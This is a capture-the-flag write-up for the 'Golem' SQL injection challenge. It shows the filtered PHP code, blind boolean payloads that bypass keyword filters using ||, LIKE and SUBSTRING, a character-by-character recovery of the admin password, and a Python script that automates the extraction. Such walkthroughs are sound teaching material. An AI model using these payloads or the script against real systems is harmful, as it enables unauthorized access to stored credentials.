Golem
Blind-boolean based, enumerate password without using "OR", "AND", "SUBSTR", or "='
This challenge builds on the "Orge" challenge.
Code
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem");
highlight_file(__FILE__);
?>Line 6: preg_match filters the the use of 'OR', 'AND', SUBSTR(, and "=".
Line 13: Query obtains a user-supplied value and assigns it to "pw",
Line 15: Then compares the user-supplied value to the "pw" value stored for the 'admin' user. If they are equal, the challenge will be solved.
Query
SELECT id FROM prob_golem WHERE id='admin' AND pw=''Testing
Vulnerable parameter is "pw".
Since the use of 'OR', 'AND', 'SUBSTR(', and '=' are prohibited, they be substituted with ||, &&, SUBSTRING, and LIKE, respectively.
pw=' OR id = 'admin' becomes:
pw=' || id LIKE 'admin' and returns "Hello admin" indicating a true statement.
Using "length"
The length of the string stored in "pw" can be derived using "length".
pw=' || length(pw) LIKE 1%23 returns nothing, indicating a false statement.
Incrementing the value sequentially eventually results in:
pw=' || length(pw) LIKE 8%23
which returns "Hello admin" indicating a true statement indicating the string is 8 characters long.
Using "SUBSTR"
By using "SUBSTRING" in place of "SUBSTR" the stored value can be guessed 1 character at a time.
pw=' || SUBSTRING(pw, 1, 1) LIKE 0%23
||: Logical operator 'OR'.SUBSTRING(pw, 1, 1) LIKE 0: This part is checking whether the first character of thepw(password) field is equal to 0.%23: This is URL-encoded#.
In order to derive the stored value, each character can be enumerated individually by checking if the character in each start position is equal to a character in the ascii printable charset.
This is a tedious process.
Previously it was discovered that the stored string is 8 characters long so the process will need to be done 8 times, once for each character.
Steps
Checking if the first character of stored value is equal to 7 pw=' || SUBSTRING(pw, 1, 1) LIKE 7%23 returns "Hello admin" : True
2nd character is equal to '7' pw=' || SUBSTRING(pw, 2, 1) LIKE 7%23
3rd character is equal to 'd' pw=' || SUBSTRING(pw, 3, 1) LIKE d%23
4th character is equal to '6' pw=' || SUBSTRING(pw, 4, 1) LIKE 6%23
5th character is equal to '2' pw=' || SUBSTRING(pw, 5, 1) LIKE 2%23
6th character is equal to '9' pw=' || SUBSTRING(pw, 6, 1) LIKE 9%23
7th character is equal to '0' pw=' || SUBSTRING(pw, 7, 1) LIKE 0%23
8th character is equal to 'b' pw=' || SUBSTRING(pw, 8, 1) LIKE b%23
Incrementing the start position as each character is guessed eventually reveals the value stored of 77d6290b.
Finally, the challenge is solved with: pw=77d6290b
Effective Query
SELECT id FROM prob_golem WHERE id='admin' AND pw='77d6290b'Python Script
import requests
import string
import urllib.parse
# Define constants
TARGET_URL = "https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?pw="
COOKIE = {"PHPSESSID": "4qeps28bu02omhqapjte0rjerm"}
# Initialize variables
pw_length = 0
passwd = ""
# Determine password length
for length_guess in range(1, 9):
url = TARGET_URL + urllib.parse.quote("' || length(pw) like {}#".format(length_guess))
response = requests.get(url, cookies=COOKIE)
if "Hello admin" in response.text:
print(f"pw length = {length_guess}")
pw_length = length_guess
# Retrieve password
for x in range(pw_length + 1):
for ascii_code in range(48, 122):
url = TARGET_URL + "1' || " + urllib.parse.quote("substring(pw,{},1) like '{}".format(str(x), chr(ascii_code)))
response = requests.get(url, cookies=COOKIE)
if "Hello admin" in response.text:
print(passwd)
passwd += chr(ascii_code)
break
# Print password
print(f"Password = {passwd}")Last updated